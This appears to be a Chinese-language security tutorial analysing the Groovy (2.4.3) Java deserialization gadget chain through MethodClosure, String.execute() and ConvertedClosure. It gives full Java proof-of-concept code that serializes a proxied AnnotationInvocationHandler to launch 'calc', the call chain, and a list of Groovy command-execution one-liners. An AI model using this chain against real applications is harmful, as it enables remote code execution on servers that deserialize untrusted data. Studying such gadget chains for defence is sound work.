前言
Groovy 是一种基于 JVM 的开发语言,具有类似于 Python,Ruby,Perl 和 Smalltalk 的功能。Groovy 既可以用作 Java 平台的编程语言,也可以用作脚本语言。groovy 编译之后生成 .class 文件,与 Java 编译生成的无异,因此可以在 JVM 上运行。
在项目中可以引用 Groovy 的相关包依赖,分为核心包和模块包,如果想依赖全部包,可以使用 groovy-all
环境搭建
<dependency> <groupId>org.codehaus.groovy</groupId> <artifactId>groovy-all</artifactId> <version>2.4.3</version> </dependency>
Groovy命令执行
MethodClosure
package org.example; import org.codehaus.groovy.runtime.MethodClosure; import java.lang.reflect.InvocationTargetException; import java.lang.reflect.Method; public class methodClosure { public static void main(String[] args) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException { MethodClosure mc = new MethodClosure(Runtime.getRuntime(), "exec"); Method m = MethodClosure.class.getDeclaredMethod("doCall", Object.class); m.setAccessible(true); m.invoke(mc, "calc"); } }
很朴素,一眼看出漏洞点在doCall方法,调试一波

invokeMethod顾名思义就是执行方法的,调试进去看也确实如此,看getOwner是获取到this.owner,看构造方法,owner是一个对象

而owner我们是设置了的,owner就是我们传入的Runtime对象,method同理可控,这样就实现了任意类方法调用

String.execute()
Groovy为String对象封装了一个execute方法用来动态执行命令,这个方法会返回一个 Process 对象。也就是说,在 Groovy 中,可以直接使用 "ls".execute() 这种方法来执行系统命令ls
注意这里,创建一个Groovy类文件,不是创建java类文件了
package org.example class stringExecute { static void main(String[] args){ println("calc".execute().text); } }
// 直接命令执行 Runtime.getRuntime().exec("calc") "calc".execute() 'calc'.execute() "${"calc".execute()}" "${'calc'.execute()}" // 回显型命令执行 println "cmd /c dir".execute().text println 'whoami'.execute().text println "${"whoami".execute().text}" println "${'whoami'.execute().text}" def cmd = "whoami"; println "${cmd.execute().text}";
ConvertedClosure
ConvertedCloure实际上是一个动态代理类,它继承了ConversionHandler

而ConversionHandler又继承了InvocationHandler

因此该类是一个动态代理,然后注意invokeCustom,这个和InvocationHandler的invoke是一个意思,代理的具体逻辑。如果初始化时指定的method与invokeCustom指定的method参数相同,则invokeCustom方法将会调用代理对象 Closure 的call方法执行传入参数执行
Groovy反序列化构造
说到动态代理就得想到CC1
package org.example; import org.codehaus.groovy.runtime.ConvertedClosure; import org.codehaus.groovy.runtime.MethodClosure; import java.io.FileInputStream; import java.io.FileOutputStream; import java.io.ObjectInputStream; import java.io.ObjectOutputStream; import java.lang.annotation.Target; import java.lang.reflect.Constructor; import java.lang.reflect.InvocationHandler; import java.lang.reflect.InvocationTargetException; import java.lang.reflect.Proxy; import java.util.Map; public class convertedClosure { public static void main(String[] args) throws ClassNotFoundException, InvocationTargetException, InstantiationException, IllegalAccessException { //封装我们需要执行的对象 MethodClosure methodClosure = new MethodClosure("calc", "execute"); ConvertedClosure closure = new ConvertedClosure(methodClosure, "entrySet"); Class<?> c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor<?> constructor = c.getDeclaredConstructors()[0]; constructor.setAccessible(true); // 创建 ConvertedClosure 的动态代理类实例 Map handler = (Map) Proxy.newProxyInstance(ConvertedClosure.class.getClassLoader(), new Class[]{Map.class}, closure); // 使用动态代理初始化 AnnotationInvocationHandler InvocationHandler invocationHandler = (InvocationHandler) constructor.newInstance(Target.class, handler); try{ ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("./Groovy")); outputStream.writeObject(invocationHandler); outputStream.close(); ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("./Groovy")); inputStream.readObject(); } catch(Exception e){ e.printStackTrace(); } } }
调用链
AnnotationInvocationHandler.readObject() Map.entrySet() (Proxy) ConversionHandler.invoke() ConvertedClosure.invokeCustom() MethodClosure.call() ProcessGroovyMethods.execute()
流程分析
调用entrySet

触发invoke,this是ConvertedClosure它继承了ConversionHandler,所以是走进父类里面的方法,在这里面进而触发invokeCustom

最后调用call方法rce

